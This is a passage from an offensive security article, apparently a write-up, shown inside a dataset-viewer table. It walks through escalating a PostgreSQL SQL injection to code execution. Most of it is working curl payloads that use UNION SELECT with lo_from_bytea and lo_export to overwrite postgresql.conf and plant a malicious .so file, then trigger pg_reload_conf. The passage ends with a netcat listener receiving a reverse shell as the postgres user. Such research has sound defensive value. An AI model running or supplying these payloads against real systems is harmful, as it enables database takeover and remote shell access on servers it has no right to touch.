text stringlengths 0 1.99k |
|---|
With the updated config file and compiled library on our hands, it is time |
to upload and overwrite everything on the target DBMS host. |
Uploading and replacing the postgresql.conf file: |
-------------------------------------------------------------------------- |
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \ |
"id=-1 UNION SELECT 1337,CAST((SELECT lo_from_bytea(3331333337, decode('$(base64 -w 0 postgresql_new.conf)', 'base64'))) AS text)" |
[ |
{"id":1337,"text":"3331333337"} |
] |
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \ |
"id=-1 UNION SELECT 1337,CAST((SELECT lo_export(3331333337, '/etc/postgresql/13/main/postgresql.conf')) AS text)" |
[{"id":1337,"text":"1"}] |
-------------------------------------------------------------------------- |
Uploading the malicious .so file: |
-------------------------------------------------------------------------- |
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \ |
"id=-1 UNION SELECT 1337,CAST((SELECT lo_from_bytea(33313333337, decode('$(base64 -w 0 payload.so)', 'base64'))) AS text)" |
[ |
{"id":1337,"text":"33313333337"} |
] |
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \ |
"id=-1 UNION SELECT 1337,CAST((SELECT lo_export(33313333337, '/tmp/payload.so')) AS text)" |
[{"id":1337,"text":"1"}] |
-------------------------------------------------------------------------- |
If everything is correct, we should see the updated config and .so file in |
place: |
-------------------------------------------------------------------------- |
# .so library |
=== target server === |
ubuntu@ubuntu-virtual-machine:/tmp$ md5sum payload.so |
0a240596d100c8ca8e781543884da202 payload.so |
=== attacker server === |
$ md5sum payload.so |
0a240596d100c8ca8e781543884da202 payload.so |
# postgresql.conf |
=== target server === |
ubuntu@ubuntu-virtual-machine:~$ md5sum /etc/postgresql/13/main/postgresql.conf |
480bb646f178be2a9a2b609b384e20de /etc/postgresql/13/main/postgresql.conf |
=== attacker server === |
$ md5sum postgresql_new.conf |
480bb646f178be2a9a2b609b384e20de postgresql_new.conf |
-------------------------------------------------------------------------- |
---[ 4.4 - Reload successful |
We are all set. Now for the moment of glory! A quick config reload and we |
get a reverse shell back from the server. |
-------------------------------------------------------------------------- |
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \ |
"id=-1 UNION SELECT 1337, CAST((SELECT pg_reload_conf()) AS text)" |
[ |
{"id":1337,"text":"true"} |
] |
-------------------------------------------------------------------------- |
On the attacker host: |
-------------------------------------------------------------------------- |
$ nc -lvnp 8888 |
Listening on 0.0.0.0 8888 |
Connection received on 172.23.16.1 53004 |
id |
uid=129(postgres) gid=138(postgres) groups=138(postgres),115(ssl-cert) |
pwd |
/var/lib/postgresql |
-------------------------------------------------------------------------- |
--[ 5 - Conclusions |
In this article, we managed to escalate the impact of a seemingly very |
restricted SQL injection to a critical level by recreating DELETE and |
UPDATE statements from scratch via the direct modification of the DBMS |
files and data, and develop a novel technique of escalating user |
permissions! |
Excessive server file read/write permissions can be a powerful tool in |
the wrong hands. There is still much to discover with this attack vector, |
but I hope you've learned something useful today. |
Cheers, |
adeadfed |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.